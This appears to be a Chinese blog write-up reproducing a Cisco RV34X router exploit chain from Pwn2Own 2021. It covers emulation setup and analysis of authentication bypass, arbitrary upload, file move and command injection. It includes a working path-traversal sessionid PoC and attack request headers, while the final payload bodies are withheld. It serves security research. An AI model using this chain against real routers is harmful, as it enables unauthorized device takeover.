漏洞介绍:
在2021年11月的Austin pwn2own比赛中,攻击者对RV34X路由器进行了多个漏洞的发现与利用,通过多漏洞利用构成攻击链,成功实现身份绕过、提权、命令注入效果。
CVE-2022-20705(逻辑缺陷-身份验证绕过)
逻辑缺陷1:在/etc/nginx/conf.d/web.upload.conf文件中,存在逻辑缺陷漏洞。程序直接检查是否存在该sessionid文件,但是如果将sessionid构造为指定路径下已存在的文件,即可绕过身份验证
逻辑缺陷2:在upload.cgi文件sub_10DC4函数中,存在逻辑缺陷漏洞。程序会再次检查sessionid的值,看是否满足base64编码格式,但是在其之前会循环获取sessionid,因此可以构造两个sessionid来绕过以上两个检查
CVE-2022-20709(逻辑缺陷-任意文件上传)
在/etc/nginx/conf.d/web.upload.conf文件中,存在逻辑缺陷漏洞,不对上传文件进行检查,直接编号存储在/tmp/upload文件夹中,因此可以利用CVE-2022-20705绕过身份验证并上传任意文件
CVE-2022-20711(逻辑缺陷-任意文件移动)
在upload.cgi文件sub_115D0函数中,存在逻辑缺陷漏洞。不对mv指令中的参数进行检查和过滤,直接运行造成任意文件移动,因此可以利用CVE-2022-20705绕过身份验证并移动覆盖任意文件,也可通过将文件移动至www文件夹,访问泄露关键信息。
CVE-2022-20707(命令注入-非授权)
在upload.cgi文件sub_12684函数中,存在命令注入漏洞。不对json参数进行检查,直接转化为字符串拼接运行造成命令注入,可以利用CVE-2022-20705,09,11漏洞到达注入函数,然后执行命令。
版本:RV34X<=1.0.03.24,RV160/260<=1.0.01.05
固件模拟
用户模拟 sudo mount --bind /proc proc sudo mount --bind /dev dev sudo chroot . ./qemu-arm-static bin/sh /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start 系统模拟 #qemu启动 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic #主机运行网络配置脚本 #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 #虚拟机配置ip ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.254 #上传压缩后的文件系统 scp -r rootfs.tar.xz root@192.168.100.2:~/ #解压缩 tar xvf rootfs.tar.xz #启动nginx服务 chmod -R 777 rootfs mount -o bind /dev ./rootfs/dev mount -t proc /proc ./rootfs/proc chroot rootfs sh /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
漏洞分析与复现
CVE-2022-20705(逻辑缺陷-身份验证绕过)
其实这个版本的固件对之前的命令注入漏洞进行了修补,因为CVE-2021-3451在upload.cgi下存在非授权命令注入,但是修补后还是存在逻辑漏洞,依旧可以绕过身份认证。
逻辑缺陷1
分析web.upload.conf中的内容,发现添加了检查条件:
我们进一步分析该检查的逻辑,其会检查seessionid,看此sessionid是否在/tmp/websession/token文件夹下存在,如果不存在,则直接返回403。但是如果我们将sessionid构造为指定路径下以存在的文件,例如:../../../etc/firmware_version,就可以绕过该检查。
需要注意一点,就是tmp/websession文件夹一开始不会生成,必须进行过一次登录请求才会生成该文件夹,因此可以先随意执行一次登录请求。
初始构造poc,注意url使用https,因为发现http会重定向至https
import requests url='https://127.0.0.1/upload' headers={'Cookie':'sessionid=../../../etc/nofile'} r = requests.post(url,headers=headers,verify=False) print(r.text)
发送后接收到返回:
403 Forbidden "white"> 403 Forbidden
nginx
修改poc:
import requests url='https://127.0.0.1/upload' headers={'Cookie':'sessionid=../../../etc/firmware_version'} r = requests.post(url,headers=headers,verify=False) print(r.text)
发送后接收到返回:
400 Bad Request "white"> 400 Bad Request
nginx
逻辑缺陷2
程序在upload.cgi中会再次检查sessionid的值,要求只能符合base64的相关规则:
这个检查貌似会影响我们利用逻辑缺陷1漏洞,但其实并不影响,因为前面获取sessionid时,是循环获取的,因此只要构造两个sessionid并且第二个sessionid符合检查规则,即可绕过该检查:
CVE-2022-20709(逻辑缺陷-任意文件上传)
分析web.upload.conf中的内容,发现其不对上传的文件内容加以限制,就会直接在/tmp/upload文件夹下生成存放,从0000000001开始按编号生成
因此编写poc如下,尽管不给upload.cgi的其他参数赋值,只要上传内容,就能在upload文件夹临时存放,sessionid利用CVE-2022-20705进行绕过(注意实际burpsuite中的poc有缩进符号与换行符号)
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Length: 277 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具体exp暂不展示
攻击后效果如下:
CVE-2022-20711(逻辑缺陷-任意文件移动)
分析upload.cgi主函数,其会通过环境变量获取http头部信息,并且通过关键字提取相关参数,如果检查文件名称符合要求,则会调用sub_115D0函数处理
sub_115D0函数本质就是将upload文件夹中的文件,根据我们传入的file.path、pathparam、fileparam等参数,移动到相关文件夹。因此我们可以通过控制相关参数,实现文件的移动和覆盖
因此编写poc如下,将刚刚upload文件夹中的文件,移动至/tmp/www文件夹下(注意实际burpsuite中的poc有缩进符号与换行符号)
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 678 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具体exp暂不展示
攻击后效果如下:
当然也可以直接指定好参数及上传文件的内容,直接将文件上传并移动至指定目录,此时不需要指定file.path参数,也可以指定。poc如下(注意实际burpsuite中的poc有缩进符号与换行符号):
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 678 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具体exp暂不展示
攻击效果如下:
CVE-2022-20707(命令注入-非授权)
命令注入发生的函数在sub_12684函数中,执行sub_12684函数的前提是前面文件移动成功执行,也就是说我们依旧要指定好相关的参数:
该函数的主要功能就是根据pathparam参数,执行不同的json数据创建,然后将json格式转为字符串,直接拼接执行,因此造成命令注入:
sub_117E0函数执行的就是json数据创建,注意其中会将destination参数变为json格式,因此我们只需要构造带引号与分号的destination参数,即可实现命令执行。注意这里option参数也不能为空。
因此编写poc如下,此poc只利用了文件移动方法来通过sub_12684函数,也可以利用文件上传与移动来通过sub_12684函数(注意实际burpsuite中的poc有缩进符号与换行符号):
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 680 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具体exp暂不展示
攻击效果如下图所示:
至此,我们可以实现身份验证绕过,向RV340路由器上传文件、移动文件、运行命令,基本上实现了设备的完全控制,攻击链完整实现。
标签: iptables sudo命令 逻辑函数 https 漏洞 sub
还木有评论哦,快来抢沙发吧~